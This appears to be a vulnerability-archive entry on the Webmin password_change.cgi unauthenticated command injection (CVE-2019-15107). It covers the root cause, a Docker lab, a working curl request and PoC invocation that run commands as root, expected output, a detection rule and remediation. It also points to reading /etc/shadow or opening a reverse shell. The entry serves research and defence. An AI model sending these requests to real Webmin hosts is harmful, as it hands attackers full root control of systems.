Webmin password_change.cgi Unauthenticated Command Injection (CVE-2019-15107)
Published: 2026-11-27 • Researcher: jini135wii (PoC repository author); public exploit write-ups and vendor advisory listed in the NVD references
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2022-03-25. Federal remediation deadline 2022-04-15.
EPSS 99.7% · 100th percentile
- Severity
- Critical
- CVE
- CVE-2019-15107
- Category
- web
- Affected product
- Webmin (web-based Unix/Linux system administration tool)
- Affected versions
- Webmin through 1.920 (NVD CPE: webmin:webmin up to and including 1.920); the bundled lab uses 1.910. Password change must be enabled (passwd_mode=2)
- Disclosed
- 2026-11-27
- Patch status
- Unverified
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2019-15107
- https://github.com/jini135wii/CVE-2019-15107
- http://www.webmin.com/security.html
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-15107
- https://www.exploit-db.com/exploits/47230
- http://packetstormsecurity.com/files/154197/Webmin-1.920-password_change.cgi-Backdoor.html
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-12 |
| Author / Researcher | jini135wii (PoC repository author); public exploit write-ups and vendor advisory listed in the NVD references |
| CVE / Advisory | CVE-2019-15107 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, NVD); 10.0 (CVSSv2, NVD) |
| Status | Weaponized |
| Tags | command injection, Webmin, password_change.cgi, unauthenticated, RCE, CWE-78, CISA KEV, Linux, miniserv, root |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Webmin (web-based Unix/Linux system administration tool) |
| Versions Affected | Webmin through 1.920 (NVD CPE: webmin:webmin up to and including 1.920); the bundled lab uses 1.910. Password change must be enabled (passwd_mode=2) |
| Language / Platform | Perl CGI served by Webmin miniserv; Linux/Unix host, default port 10000 |
| Authentication Required | No |
| Network Access Required | Yes (HTTPS to the Webmin management port) |
Summary
CVE-2019-15107 is an unauthenticated OS command injection in the Webmin web-based system administration tool. The old parameter of the password change CGI is passed to a Perl qx call that runs it as a shell command, so anyone who can reach the Webmin port can execute commands as root. Webmin runs miniserv as root and password change is often enabled, so the flaw gives full control of the host and it has been exploited in the wild.
Vulnerability Details
Root Cause
The Webmin 1.890 release distributed through SourceForge contained an injected backdoor in password_change.cgi, and the backdoor was reintroduced in the 1.900 through 1.920 builds. In the 1.910 package used by the lab, the injection is the second argument to pass_error() in the Webmin-user branch:
| |
The qx operator executes the string as a shell command. Reaching that branch relies on a Perl quirk: if the supplied user name matches no Webmin user, the grep assignment leaves the user variable undefined, but the later password comparison dereferences it and autovivifies it into an empty hash reference, which is true. The old password check against the empty hash therefore fails and the qx call runs. If the matched user uses Unix authentication (stored password x) the variable is reset to undef and the branch is skipped, so a non-existent user name is the reliable trigger on 1.910. Because miniserv runs as root, the injected command inherits root privileges. The feature is only reachable when passwd_mode is 2, which is the state the reproducer configures.
Attack Vector
An unauthenticated HTTPS POST to /password_change.cgi with a forged Referer of https://TARGET/session_login.cgi and the form fields user, pam, expired, old, new1 and new2. The user value must not match an existing Webmin user with Unix authentication; the public PoC uses rootxx for that reason. The expired field is accepted but is not read by the 1.910 handler, so it does not influence this code path. A GET request with the same parameters also works. The old field carries the attacker’s shell command, for example id, and its output is embedded in the error page.
Impact
Arbitrary command execution as root on the Webmin host. An attacker can read and change every Webmin and system configuration, create or reset accounts, add cron jobs and SSH keys, extract stored credentials and certificates, disable logging and monitoring, and pivot to other hosts managed by the same Webmin instance. Full confidentiality, integrity and availability loss.
Environment / Lab Setup
OS: Linux host for Docker and the attacker
Target: Debian jessie container with Webmin 1.910 (vulhub-style build), https://TARGET:10000
Attacker: Linux or macOS with Python 3
Tools: Python 3, requests, curl, docker composeSetup Steps
The repository ships Dockerfile, docker-compose.yml and docker-entrypoint.sh plus a 16 MB webmin_1.910_all.deb package. The .deb is a binary artifact and is deliberately not archived here, so obtain webmin_1.910_all.deb from the upstream repository (or the vulhub Webmin lab) and place it beside the Dockerfile before building.
| |
The Dockerfile installs the package, sets passwd_mode=2 in /etc/webmin/miniserv.conf, and sets a known root password. Stop the lab with docker compose down.
Proof of Concept
Step-by-Step Reproduction
Start the lab — Build and run the container as described above and confirm the Webmin login page answers on port 10000.
Run the Python PoC — The script posts the command in the old field and prints the raw HTTP response, which contains the command output.
Shell script1python3 PoC.py -t 127.0.0.1:10000 -c "id"Or reproduce with curl — The same request can be sent by hand.
Shell script1 2 3curl -k -X POST https://127.0.0.1:10000/password_change.cgi \ -d "user=nonexistent&pam=&expired=2&old=id&new1=test&new2=test" \ -H "Referer: https://127.0.0.1:10000/session_login.cgi"Escalate the demonstration — Any command can be substituted, for example reading /etc/shadow or starting a reverse shell.
Exploit Code
See
PoC.pyin this folder.
| |
Expected Output
[*] Exploiting Webmin at 127.0.0.1:10000
[*] Command: id
[+] Exploit sent!
[+] Response:
...
uid=0(root) gid=0(root) groups=0(root)
...The command output appears inside the HTML error page returned by password_change.cgi. The upstream screenshot (1.png, not archived) shows the same root id output.
Detection & Indicators of Compromise
POST /password_change.cgi HTTP/1.1
Referer: https://webmin-host:10000/session_login.cgi
user=nonexistent&pam=&expired=2&old=;id;uname -a&new1=test&new2=testSIEM / IDS Rule (example):
alert http any any -> any any (msg:"CVE-2019-15107 Webmin password_change.cgi command injection"; flow:to_server,established; content:"/password_change.cgi"; http_uri; content:"Referer|3a| "; http_header; content:"session_login.cgi"; http_header; pcre:"/(old=)[^&]*(\%3B|;|\||`|\$\(|\%60)/i"; reference:cve,2019-15107; sid:9000151;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Webmin to 1.930 or later, where the old value is no longer passed to qx. Because 1.890 was a trojanized build, rebuild from a trusted package source rather than patching in place. |
| Workaround | Disable password change (set passwd_mode=0) when it is not needed, restrict port 10000 to a management network or VPN, and block password_change.cgi at the edge. |
| Config Hardening | Enable two-factor authentication, run the latest Webmin release, audit Webmin users and sudo configuration, and rotate all credentials, API tokens and SSH keys that may have been exposed while the host was vulnerable. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/jini135wii/CVE-2019-15107 (stars 0, forks 0, Python).
Review verdict: ingested. This is a genuine exploit rather than a detector: PoC.py sends an arbitrary command in the old field of the vulnerable password change endpoint, executes it through the Webmin qx call as root, and prints the real command output returned by the server. The README documents the vulnerable line, a full Docker lab, curl variants and a reverse-shell path.
License: the upstream repository has no LICENSE file; copyright remains with the author. The upstream README is in Korean and is copied verbatim as upstream-README.md. Attribution and the source URL are retained here, and the copied Python file carries an archive header.
Limitations: the 16 MB webmin_1.910_all.deb package is not archived as it is a binary artifact, so the docker build requires it to be supplied. The lab targets Webmin 1.910, while the advisory range extends to 1.920. The script disables TLS verification and only prints the response body; it does not parse the output or provide an interactive shell. A live target with password change enabled (passwd_mode=2) is required. No exploit code was executed during preparation of this entry.
| |